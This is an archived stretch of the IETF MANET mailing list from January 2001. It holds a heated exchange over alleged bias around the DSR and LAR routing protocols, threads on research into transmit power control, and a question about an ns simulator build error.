terminodes project (www.terminodes.org) is exploring incentives for > collaboration in ad-hoc networks. chiming in with brian... from a somewhat different field, there's mojonation in which users gain 'mojo currency' as they offer resources to the network: http://www.mojonation.net/docs/technical_overview.shtml -gabriel From owner-manet@itd.nrl.navy.mil Sat Jan 20 01:47:19 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17924 for ; Sat, 20 Jan 2001 01:47:19 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA15462 for manet-outgoing; Sat, 20 Jan 2001 00:31:19 -0500 (EST) Received: from web11401.mail.yahoo.com (web11401.mail.yahoo.com [216.136.131.231]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id AAA15457 for ; Sat, 20 Jan 2001 00:31:17 -0500 (EST) Message-ID: <20010120053118.75561.qmail@web11401.mail.yahoo.com> Received: from [204.120.48.3] by web11401.mail.yahoo.com; Fri, 19 Jan 2001 21:31:18 PST Date: Fri, 19 Jan 2001 21:31:18 -0800 (PST) From: Tom Hello Subject: Re: Joe's E-mail. To: Joe Macker , Nitin H Vaidya , manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk JOE: GIVE ME A BREAK! IETF IS ABOUT ADDRESSING TECHNICAL ISSUE & I DID HIGHLIGHT TECHNICAL ISSUES OF DSR AND LAR BUT AUTHORS DO NOT ADDRESS THEM. THIS COUNTRY IS ABOUT FREEDOM OF SPEECH AND IF PEOPLE CANNOT ACCEPT COMMENTS, THEY CANNOT IMPROVE. IF YOU HAVE AN ATTITUDE OF SHUTTING PEOPLE OUT, THEN YOU ARE BETTER OFF IN THE ARMY. YOU ALSO STAIN THE SPIRIT OF INTERNET AND RESEARCH. I RECKON YOU MAKE SO GOOD PROGRESS IN IETF MEETINGS AND ALSO TRY TO BE AS FAIR AS POSSIBLE TO ALL PRESENTERS IN THOSE MEETINGS, WHETHER THEY ARE DSR/TORA or AODV COMPLIANT! TOM --- Joe Macker wrote: > Inappropriate postings include: > > Unsolicited bulk e-mail Discussion of subjects > unrelated to IETF policy, > meetings, activities, or technical concerns > Unprofessional commentary, > regardless of the general subject. > > This is clearly unprofessional commentary beyond the > bounds of technical > concerns. > > -Joe > > At 08:05 PM 1/12/01 -0800, Tom Hello wrote: > >Nitin: I don't think you should implement LAR > (which > >is not a protocol as you claim) with DSR! You > clearly > >exhibit some form of political bias. > > > >Is that related to your MobiHOC conference in some > >way or is that related to your paper acceptance? I > >realize you publish things related to DSR and AODV > - > >clearly you are trying to gather "favor" from those > >folks/people. > > > >Does that explain how you get your papers published > in > > > >MOBICOM (and you constantly published there) and > >your NSF grants too?? Man.. this is bad... > > > >===================================================== > >--- Tom Hello wrote: > > > Oh you (nitin)... About LAR/LAM - there are many > > > flaws > > > in location based routing. Your original > proposal > > > does not take into account connection/signal > > > propagation properties, just location which is > > > wrong. > > > None of LAR/LAM have been implemented and tested > > > in real systems. You should do it since you > started > > > it. > > > > > > There is too much BS Stuff in this circle. > > > I recall AODV - where the heck is the distance > > > vector > > > being used here?? That was just a twist from the > > > DSDV > > > protocol which is a table-driven protocol but > > > the authors twisted it to change it to on-demand > > > based. There is just not enough good/properly > > > designed protocols and too much BS stuff and > > > politics > > > too. > > > > > > These people need to wake up... > > > > > > > > > --- Nitin H Vaidya wrote: > > > > > > > > >> From: Tom Hello > > > > > > > > > > > >> From owner-manet@itd.nrl.navy.mil Fri Dec > 22 > > > > 12:43:48 2000 > > > > >> > > > > >> Li Li wrote: > > > > >> > > > > > >> >In the DSR draft, it says "Although many > > > > routing > > > > >> >protocols operate correctly > > > > >> >only over bi-directional links, DSR can > > > > successfully > > > > >> >discover and forward > > > > >> >packets over paths that contain > > > > uni-directional > > > > >> >links." > > > > >> > > > > >> I don't believe a single word of it. It > was > > > not > > > > >> even proven!! The DSR draft constantly > copys > > > > and > > > > > > > > I do not recall if they give a formal proof or > > > not, > > > > but > > > > it seemed to me that DSR could work on > > > > unidirectional links. > > > > Do you have a counter-example (or a "proof") > that > > > it > > > > does not work? > > > > > > > > ... > > > > >> Also, why you are enhancing DSR and not > doing > > > > your > > > > >> own protocol? One need not have a paper > that > > > is > > > > >> DSR compliant to get one's paper > accepted!! > > > > > > > > Huh !? > > > > Enhancing an existing protocol is not > necessarily > > > a > > > > bad > > > > thing, be it DSR, AODV, TORA, whatever. > > > > > > > > > > > Happy holidays. > > > > > > > > - nitin > > > > > > > > . > > > > hoc/ > > > > > > > > Happy holidays. > > > > > > > > - nitin > > > > > > > > . > > > > > > > > > > > > > > __________________________________________________ > > > Do You Yahoo!? > > > Yahoo! Photos - Share your holiday photos > online! > > > http://photos.yahoo.com/ > > > . > > > u Yahoo!? > > > Yahoo! Photos - Share your holiday photos > online! > > > http://photos.yahoo.com/ > > > . > > > > > > > > >__________________________________________________ > >Do You Yahoo!? > >Get email at your own domain with Yahoo! Mail. > >http://personal.mail.yahoo.com/ > > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 20 01:52:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18631 for ; Sat, 20 Jan 2001 01:52:46 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA15539 for manet-outgoing; Sat, 20 Jan 2001 00:35:52 -0500 (EST) Received: from web11405.mail.yahoo.com (web11405.mail.yahoo.com [216.136.131.235]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id AAA15534 for ; Sat, 20 Jan 2001 00:35:50 -0500 (EST) Message-ID: <20010120053551.51693.qmail@web11405.mail.yahoo.com> Received: from [204.120.48.3] by web11405.mail.yahoo.com; Fri, 19 Jan 2001 21:35:51 PST Date: Fri, 19 Jan 2001 21:35:51 -0800 (PST) From: Tom Hello Subject: Re: Tom's comments To: "Rajan, Hridesh \(Hridesh\)" Cc: "'manet@itd.nrl.navy.mil'" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk RAJAN: YOU ARE TAKING IT TOO PERSONAL I TALKED ABOUT LAR PROBLEMS & NOTHING PERSONAL ABOUT NITIN PERSONALITY. I HIGHLIGHTED BIAS TOWARDS DSR IN HIS WORK AND THIS IS CLEAR FROM HIS RESEARCH & PUBLICATIONS. IF YOU WANT TO SUPPORT HIM, PLEASE PRESENT A COUNTERPROOF THAT HE DID NOT WORK ON DSR AT ALL. ALSO, THIS IS THE FORUM DISCUSSION ABOUT AD HOC WORK AND ALSO RESEARCH PUBLICATIONS ON AD HOC. VERY APPROPRIATE. YOU CANNOT BEHAVE LIKE A DICTATOR! I WONDER WHO WILL SUPPORT YOU IF YOU BEHAVE LIKE THAT.. --- "Rajan, Hridesh (Hridesh)" wrote: > Hello Tom, > > Let me make this point very clear that your comments > on DSR and LAR > are unwarranted and biased. You have been constantly > criticizing the > protocols without presenting any substantial facts > supporting your > criticism which may suit a urchin but is not a way > to behave on a mailing > list on which serious discussions are only invited. > > Another fact that I want to make clear is that you > seem to be having some > personal grudges against people and not the > protocols. Your comments on > nitin's work at least suggests that. You have no > rights to comment on any > research work and grant. > > If the moderator of this mailing list is listening > me I earnestly request > him/her to call off this unruly, unsavory and > unseemly discussion from this > list which I believe is meant only for serious > purposes. > > I request you to stop this indecency. > > Thank You, > Hridesh > > > __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 20 01:54:04 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA18790 for ; Sat, 20 Jan 2001 01:54:03 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA15480 for manet-outgoing; Sat, 20 Jan 2001 00:32:53 -0500 (EST) Received: from web11402.mail.yahoo.com (web11402.mail.yahoo.com [216.136.131.232]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id AAA15475 for ; Sat, 20 Jan 2001 00:32:51 -0500 (EST) Message-ID: <20010120053252.85259.qmail@web11402.mail.yahoo.com> Received: from [204.120.48.3] by web11402.mail.yahoo.com; Fri, 19 Jan 2001 21:32:52 PST Date: Fri, 19 Jan 2001 21:32:52 -0800 (PST) From: Tom Hello Subject: Re: DSR/AODV/& BS Stuff To: Nitin H Vaidya , manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk WHY NOT?? WHY DO YOU SHY AWAY FROM TRUTHS ABOUT YOUR CONFERENCE PUBLICATIONS AND ALSO YOUR TECHNQIUE OF WORKING ON DSR AND AODV? SECONDLY - WHY DID YOU NOT ADDRESS THE SHORTCOMINGS OF LAR INSTEAD OF PUSHING TO AN EXCUSE OF LAR NOT BEING A PROTOCOL?? BE PROFESSIONAL. ANSWER THIS TECHNICAL ISSUE. === --- Nitin H Vaidya wrote: > > Tom: > > I don't think I want to respond to your e-mail below > - thanks to > others who have responded already - but here is some > information > that is meant to be helpful. > > Like many premier conferences today, MobiCom rejects > a lot of papers > to maintain quality and due to lack of space in the > program > (unlike what you seem to believe, my papers get > rejected too). > Don't despair. Now there is one more good forum for > MANET papers. > > Consider submitting papers to MobiHoc'01, which will > focus on > mobile ad hoc networking, and will take place at > Long Beach, > California in October 2001. See the web site at > > www.cs.ucla.edu/mobihoc > > I don't mean to respond to your future e-mails, > unless they > become a little more technical. > > Best regards, and good luck. > > - nitin > > P.S. - sorry for advertizing MobiHoc on the > slightest possible > excuse, but that is part of my job this year > -:) > > > > >> From cyberspacetom@yahoo.com Fri Jan 12 > 22:05:40 2001 > >> Date: Fri, 12 Jan 2001 20:05:39 -0800 (PST) > >> From: Tom Hello > >> Subject: Re: DSR/AODV/& BS Stuff > >> To: Nitin H Vaidya , > manet@itd.nrl.navy.mil > >> MIME-Version: 1.0 > >> > >> Nitin: I don't think you should implement LAR > (which > >> is not a protocol as you claim) with DSR! You > clearly > >> exhibit some form of political bias. > >> > >> Is that related to your MobiHOC conference in > some > >> way or is that related to your paper > acceptance? I > >> realize you publish things related to DSR and > AODV - > >> clearly you are trying to gather "favor" from > those > >> folks/people. > >> > >> Does that explain how you get your papers > published in > >> > >> MOBICOM (and you constantly published there) > and > >> your NSF grants too?? Man.. this is bad... > >> > >> > ===================================================== > >> --- Tom Hello wrote: > >> > Oh you (nitin)... About LAR/LAM - there are > many > >> > flaws > >> > in location based routing. Your original > proposal > >> > does not take into account connection/signal > >> > propagation properties, just location which > is > >> > wrong. > >> > None of LAR/LAM have been implemented and > tested > >> > in real systems. You should do it since you > started > >> > it. > >> > > >> > There is too much BS Stuff in this circle. > >> > I recall AODV - where the heck is the > distance > >> > vector > >> > being used here?? That was just a twist from > the > >> > DSDV > >> > protocol which is a table-driven protocol but > >> > the authors twisted it to change it to > on-demand > >> > based. There is just not enough good/properly > > >> > designed protocols and too much BS stuff and > >> > politics > >> > too. > >> > > >> > These people need to wake up... > >> > > >> > > >> > --- Nitin H Vaidya > wrote: > >> > > > >> > > >> From: Tom Hello > > >> > > >> > > > >> > > >> From owner-manet@itd.nrl.navy.mil Fri > Dec 22 > >> > > 12:43:48 2000 > >> > > >> > >> > > >> Li Li wrote: > >> > > >> > > >> > > >> >In the DSR draft, it says "Although > many > >> > > routing > >> > > >> >protocols operate correctly > >> > > >> >only over bi-directional links, DSR > can > >> > > successfully > >> > > >> >discover and forward > >> > > >> >packets over paths that contain > >> > > uni-directional > >> > > >> >links." > >> > > >> > >> > > >> I don't believe a single word of it. > It was > >> > not > >> > > >> even proven!! The DSR draft constantly > copys > >> > > and > >> > > > >> > > I do not recall if they give a formal proof > or > >> > not, > >> > > but > >> > > it seemed to me that DSR could work on > >> > > unidirectional links. > >> > > Do you have a counter-example (or a > "proof") that > >> > it > >> > > does not work? > >> > > > >> > > ... > >> > > >> Also, why you are enhancing DSR and > not doing > >> > > your > >> > > >> own protocol? One need not have a > paper that > >> > is > >> > > >> DSR compliant to get one's paper > accepted!! > >> > > > >> > > Huh !? > >> > > Enhancing an existing protocol is not > necessarily > >> > a > >> > > bad > >> > > thing, be it DSR, AODV, TORA, whatever. > >> > > > >> > > >> > > Happy holidays. > >> > > > >> > > - nitin > >> > > > >> > > . > >> > > hoc/ > >> > > > >> > > Happy holidays. > >> > > > >> > > - nitin > >> > > > >> > > . > >> > > > >> > > >> > > >> > > __________________________________________________ > >> > Do You Yahoo!? > >> > Yahoo! Photos - Share your holiday photos > online! > >> > http://photos.yahoo.com/ > >> > . > >> > u Yahoo!? > >> > Yahoo! Photos - Share your holiday photos > online! > >> > http://photos.yahoo.com/ > >> > . > >> > > >> > >> > === message truncated === __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 20 01:54:49 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA17925 for ; Sat, 20 Jan 2001 01:47:19 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id AAA15413 for manet-outgoing; Sat, 20 Jan 2001 00:28:25 -0500 (EST) Received: from web11405.mail.yahoo.com (web11405.mail.yahoo.com [216.136.131.235]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id AAA15408 for ; Sat, 20 Jan 2001 00:28:23 -0500 (EST) Message-ID: <20010120052823.51287.qmail@web11405.mail.yahoo.com> Received: from [204.120.48.3] by web11405.mail.yahoo.com; Fri, 19 Jan 2001 21:28:23 PST Date: Fri, 19 Jan 2001 21:28:23 -0800 (PST) From: Tom Hello Subject: Re: DSR/LAR Issue To: Dave Johnson Cc: Nitin H Vaidya , manet@itd.nrl.navy.mil MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk --- Dave Johnson wrote: > Tom, > > I've resisted replying to your earlier messages, but > I think its time > I joined this discussion. I think your criticism of > Nitin's > publications and NSF grants is quite unfair. If you > have evidence of > actual favoritism toward people who base work on DSR > or AODV, please > share it with us; otherwise, your accusations are > unfounded and > without merit. >============= Oh yes, I do. I think it is clear to people in this community that you and another guy specifically make it hard for people who do not support your protocol. In terms of publications, it is very clear too. > > In the paritcular case of people basing their work > on DSR, let me > assure you that (as the leader of the Monarch > Project that designed > DSR) this adds no special "favor" to the work in my > opinion. On the > contrary, if anything, I think this raises the bar > with me for such > work, since I care a lot about the protocol and its > future and don't > want "bad" work based on top of DSR. That is one problem of you. Instead of being objective and open to other NEW and GOOD protocols, you hammer them just because they are not DSR compliant. I think that is not a wise move at all. You cannot force people to accept you protocol just because of your position at a special interest group or in a conference. >LAR, however, > I believe is good > work, for its stated application and purpose of > helping to reduce the > overall routing overhead in the environments for > which the protocol > was designed. Nitin has correctly described the > protocol's advantages > and limitations. No he did not! In fact, he shy away from the truth limitations of location based routing. As I have said, LAR did not consider signal connectivity - plain location co-ordinates just don't fly. A lot of defense and commercial folks would agree with me on this! He has to admit to the deficiency and improbe further, not denying them! > > And while I'm writing a message to you, let me go > back to an earlier > message in which you said "The DSR draft constantly > copys and adds > methods from other people to be included in theirs, > which is > ridiculous." Perhaps you could explain what you > mean by this. OH COME ON! THIS IS PLAIN CLEAR CUT. YOU KNOW WHAT YOU HAVE DONE AND SO DO THE REST WHO ARE AWARE OF ON-GOING WORK ON AD HOC. DO NOT CLAIM THINGS THAT WERE NOT ORIGINAL PROPOSED AND ADDRESS BY YOU. > If > there are methods that you believe we have copied > from other people, > please identify them and we will appropriately > acknowledge them in > future DSR drafts and papers; otherwise, again, your > accusations are > unfounded and without merit. AGAIN< THIS IS CLEAR CUT & I DO NOT BELIEVE YOU WILL EVER ADMIT TO THESE BUT PEOPLE KNOW. WITH YOUR PERSONALITY OF GOING AROUND "HAMMERING" PEOPLE, YOU DO NOT DESERVE TO KNOW PEOPLE's IDENTITY. YOU PROPBABLY NEED TO RETHINK YOUR APPROACH TO THINGS AND PEOPLE AROUND YOU. TOM > And further, Tom, perhaps you could give the group a > little > information aboutl your own background and > activities in the area of > ad hoc networking. You know all of the other people > involved in this > discussion -- through our identifiable email > addresses and our names > and other contact information on the published > Internet-Drafts and > other papers that you criticize. In contrast, all > that you have > identified yourself so far with is a free (and > easily anonymous) Yahoo > email account. > > Dave > > > >Nitin: I don't think you should implement LAR > (which > >is not a protocol as you claim) with DSR! You > clearly > >exhibit some form of political bias. > > > >Is that related to your MobiHOC conference in some > >way or is that related to your paper acceptance? I > >realize you publish things related to DSR and AODV > - > >clearly you are trying to gather "favor" from those > >folks/people. > > > >Does that explain how you get your papers published > in > > > >MOBICOM (and you constantly published there) and > >your NSF grants too?? Man.. this is bad... > > > >===================================================== > >--- Tom Hello wrote: > >> Oh you (nitin)... About LAR/LAM - there are many > >> flaws > >> in location based routing. Your original proposal > >> does not take into account connection/signal > >> propagation properties, just location which is > >> wrong. > >> None of LAR/LAM have been implemented and tested > >> in real systems. You should do it since you > started > >> it. > >> > >> There is too much BS Stuff in this circle. > >> I recall AODV - where the heck is the distance > >> vector > >> being used here?? That was just a twist from the > >> DSDV > >> protocol which is a table-driven protocol but > >> the authors twisted it to change it to on-demand > >> based. There is just not enough good/properly > >> designed protocols and too much BS stuff and > >> politics > >> too. > >> > >> These people need to wake up... > >> > >> > >> --- Nitin H Vaidya wrote: > >> > > >> > >> From: Tom Hello > > >> > >> > > >> > >> From owner-manet@itd.nrl.navy.mil Fri Dec > 22 > >> > 12:43:48 2000 > >> > >> > >> > >> Li Li wrote: > >> > >> > > >> > >> >In the DSR draft, it says "Although many > >> > routing > >> > >> >protocols operate correctly > >> > >> >only over bi-directional links, DSR can > >> > successfully > >> > >> >discover and forward > >> > >> >packets over paths that contain > >> > uni-directional > >> > >> >links." > >> > >> > >> > >> I don't believe a single word of it. It > was > >> not > >> > >> even proven!! The DSR draft constantly > copys > >> > and > >> > > >> > I do not recall if they give a formal proof or > >> not, > >> > but > >> > it seemed to me that DSR could work on > >> > unidirectional links. > >> > Do you have a counter-example (or a "proof") > that > >> it > >> > does not work? > >> > > >> > ... > >> > >> Also, why you are enhancing DSR and not > doing > >> > your > >> > >> own protocol? One need not have a paper > that > >> is > >> > >> DSR compliant to get one's paper > accepted!! > >> > > >> > Huh !? > >> > Enhancing an existing protocol is not > necessarily > >> a > >> > bad > >> > thing, be it DSR, AODV, TORA, whatever. > >> > > >> > >> > Happy holidays. > >> > > >> > - nitin > >> > > >> > . > >> > hoc/ > >> > > >> > Happy holidays. > >> > > >> > - nitin > >> > > >> > . > >> > > >> > >> > >> > __________________________________________________ > >> Do You Yahoo!? > >> Yahoo! Photos - Share your holiday photos online! > >> http://photos.yahoo.com/ > >> . > >> u Yahoo!? > >> Yahoo! Photos - Share your holiday photos online! > >> http://photos.yahoo.com/ > >> . > >> > > > > > === message truncated === __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices. http://auctions.yahoo.com/ From owner-manet@itd.nrl.navy.mil Sat Jan 20 02:19:42 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA25949 for ; Sat, 20 Jan 2001 02:19:42 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id BAA15955 for manet-outgoing; Sat, 20 Jan 2001 01:00:56 -0500 (EST) Received: from covert.iadfw.net (covert.iadfw.net [209.196.123.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id BAA15950 for ; Sat, 20 Jan 2001 01:00:54 -0500 (EST) Received: from mail.airmail.net from [206.66.12.40] by covert.iadfw.net (/\##/\ Smail3.1.30.16 #30.27) with smtp for sender: id ; Sat, 20 Jan 2001 00:00:54 -0600 (CST) Received: from utdallas.edu from [207.136.19.4] by mail.airmail.net (/\##/\ Smail3.1.30.16 #30.27) with esmtp for sender: id ; Sat, 20 Jan 2001 00:00:52 -0600 (CST) Message-ID: <3A691E30.26467AFD@utdallas.edu> Date: Sat, 20 Jan 2001 00:12:16 -0500 From: daniel russo X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.14-5.0 i686) X-Accept-Language: en MIME-Version: 1.0 To: Ram Ramanathan , manet@itd.nrl.navy.mil Subject: Re: research topics References: <200101182305.SAA47844@crystal.bbn.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Ram Ramanathan wrote: > > > > > First idea: > > ----------- > > How about implementing power control at every mobile > > node in an ad-hoc network, in order to keep the number > > of neighbors known to this node inferior to a certain > > number n, chosen cleverly to achieve reasonable > > coverage nonetheless? Maybe this could reduce power > > consumption and/or overhead, and reduce it enough to > > be worth the corresponding coverage loss. > > > > Good topic. BBN has done some work on this idea. Look at > > R. Ramanathan and R. Hain "Topology control using transmit power > adjustment" Proc. IEEE Infocom, 2000 (Tel Aviv) > hmmm... isnt dropping the transmit power in some nodes but not others *purposely* introducing undirectional links into the network. I guess this is just another reason to take undirectional links seriously in ad hoc networks. thanks, daniel From owner-manet@itd.nrl.navy.mil Sat Jan 20 18:50:41 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA00196 for ; Sat, 20 Jan 2001 18:50:40 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id RAA22865 for manet-outgoing; Sat, 20 Jan 2001 17:13:06 -0500 (EST) Received: from mail.rdc1.sfba.home.com (ha1.rdc1.sfba.home.com [24.0.0.66]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id RAA22860 for ; Sat, 20 Jan 2001 17:13:04 -0500 (EST) Received: from miguelsa ([65.0.216.136]) by mail.rdc1.sfba.home.com (InterMail vM.4.01.03.00 201-229-121) with SMTP id <20010120221305.TNKT24753.mail.rdc1.sfba.home.com@miguelsa>; Sat, 20 Jan 2001 14:13:05 -0800 Message-ID: <006301c0832e$2f75afb0$0117a8c0@miguelsa> From: "misan" To: "Robin Poss" , References: <20010118203748.95821.qmail@web11002.mail.yahoo.com> Subject: Re: research topics Date: Sat, 20 Jan 2001 14:13:14 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi all, Here you have a pointer to the file Robin Poss referenced: ftp://ftp.3gpp.org/Specs/December_99/25_series/25924-100.zip Cheers, Miguel Sanchez > I think "3G TR 25.924 ,Opportunity Driven Multiple > Access" deals with a similar idea. > > -- > Robin > > > __________________________________________________ > Do You Yahoo!? > Get email at your own domain with Yahoo! Mail. > http://personal.mail.yahoo.com/ > From owner-manet@itd.nrl.navy.mil Tue Jan 23 21:43:27 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA29358 for ; Tue, 23 Jan 2001 21:43:27 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA29487 for manet-outgoing; Tue, 23 Jan 2001 20:08:26 -0500 (EST) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA29482 for ; Tue, 23 Jan 2001 20:08:25 -0500 (EST) Received: from boreas.isi.edu (boreas.isi.edu [128.9.160.161]) by boreas.isi.edu (8.9.3/8.9.3) with SMTP id RAA28088; Tue, 23 Jan 2001 17:08:26 -0800 (PST) Date: Tue, 23 Jan 2001 17:08:26 -0800 (PST) From: Ya Xu Reply-To: Ya Xu To: Robin Poss cc: manet@itd.nrl.navy.mil Subject: Re: research topics In-Reply-To: <20010118203748.95821.qmail@web11002.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk > > First idea: > ----------- > How about implementing power control at every mobile > node in an ad-hoc network, in order to keep the number > of neighbors known to this node inferior to a certain > number n, chosen cleverly to achieve reasonable > coverage nonetheless? Maybe this could reduce power > consumption and/or overhead, and reduce it enough to > be worth the corresponding coverage loss. > Very good topic. We have done some work on this idea at USC/ISI: http://www.isi.edu/isi-technical-reports.html TR-2000-527.pdf (Top of Page) Adaptive Energy-Conserving Routing for Multihop Ad Hoc Networks Ya Xu, John Heidemann, Deborah Estrin October 2000, 14 pages We are currently doing further investigations on this direction. thanks -Ya From owner-manet@itd.nrl.navy.mil Wed Jan 24 02:52:52 2001 Received: from itd.nrl.navy.mil ([132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA16662 for ; Wed, 24 Jan 2001 02:52:52 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id BAA03337 for manet-outgoing; Wed, 24 Jan 2001 01:11:52 -0500 (EST) Received: from nishio-mail.ise.eng.osaka-u.ac.jp (thames.ise.eng.osaka-u.ac.jp [133.1.52.49]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id BAA03332 for ; Wed, 24 Jan 2001 01:11:49 -0500 (EST) Received: from Ghee (d25.ise.eng.osaka-u.ac.jp [133.1.52.25]) by nishio-mail.ise.eng.osaka-u.ac.jp (8.9.3/3.7W-03/30/00) with SMTP id PAA17496; Wed, 24 Jan 2001 15:11:39 +0900 (JST) Message-ID: <00ad01c085cc$7adcfee0$19340185@ise.eng.osakau.ac.jp> From: "wooighee" To: , Cc: "WANG Wooi Ghee" References: <005901c085c7$50fe40c0$19340185@ise.eng.osakau.ac.jp> <20010124150022X.wooighee@ise.eng.osaka-u.ac.jp> Subject: CMU extensions to ns: Installation problem Date: Wed, 24 Jan 2001 15:11:24 +0900 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hello I am trying to install the CMU extensions to ns simulator. When I tried to "make" at the ns-src, I got the following error: If you have any idea on this error please kindly inform me. Thank you very much. Regards Ghee ---------------------------------------------------------------------------- --------------- ghee@yukon(305)% make : : In file included from random.h:40, from random.cc:42: config.h:50: conflicting types for `typedef signed char int8_t' /usr/include/sys/int_types.h:62: previous declaration as `typedef char int8_t' random.cc:45: declaration of C function `int srandom(...)' conflicts with /usr/include/stdlib.h:182: previous declaration `void srandom(unsigned int)' here make: *** [random.o] Error 1 ghee@yukon(306)% ---------------------------------------------------------------------------- --------------- From owner-manet@itd.nrl.navy.mil Wed Jan 24 14:27:58 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA28525 for ; Wed, 24 Jan 2001 14:27:58 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA17075 for manet-outgoing; Wed, 24 Jan 2001 12:38:06 -0500 (EST) Received: from aspen.cs.unr.edu (aspen.cs.unr.edu [134.197.40.251]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA17064 for ; Wed, 24 Jan 2001 12:38:04 -0500 (EST) Received: from banyan.cs.unr.edu (banyan.cs.unr.edu [134.197.40.54]) by aspen.cs.unr.edu (8.9.2/8.9.2) with ESMTP id JAA21288; Wed, 24 Jan 2001 09:38:02 -0800 (PST) Received: from localhost (nagar@localhost) by banyan.cs.unr.edu (8.9.1b+Sun/8.9.1) with ESMTP id JAA06129; Wed, 24 Jan 2001 09:38:02 -0800 (PST) X-Authentication-Warning: banyan.cs.unr.edu: nagar owned process doing -bs Date: Wed, 24 Jan 2001 09:38:02 -0800 (PST) From: Nitin Nagar To: wooighee cc: ns-users@isi.edu, manet@itd.nrl.navy.mil Subject: Re: [ns] CMU extensions to ns: Installation problem In-Reply-To: <00ad01c085cc$7adcfee0$19340185@ise.eng.osakau.ac.jp> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi For the first error concerning srandom(), Just comment that particular line out and for seond line relace your config.h with the compiled version of your ns-2 version 3.0 config.h file, It should work that way nitin ------------------------------------------------------------------------------ Nitin Nagar Graduate Teaching Assistant (R) (775) 348-7176 Dept. of Computer Science nagar@cs.unr.edu University of Nevada,Reno http://www.cs.unr.edu/~nagar Reno NV-89557 Address:46 West 10th Street Reno NV-89503 ------------------------------------------------------------------------------ On Wed, 24 Jan 2001, wooighee wrote: > Hello > I am trying to install the CMU extensions to ns simulator. > When I tried to "make" at the ns-src, I got the following error: > If you have any idea on this error please kindly inform me. > Thank you very much. > Regards > Ghee > 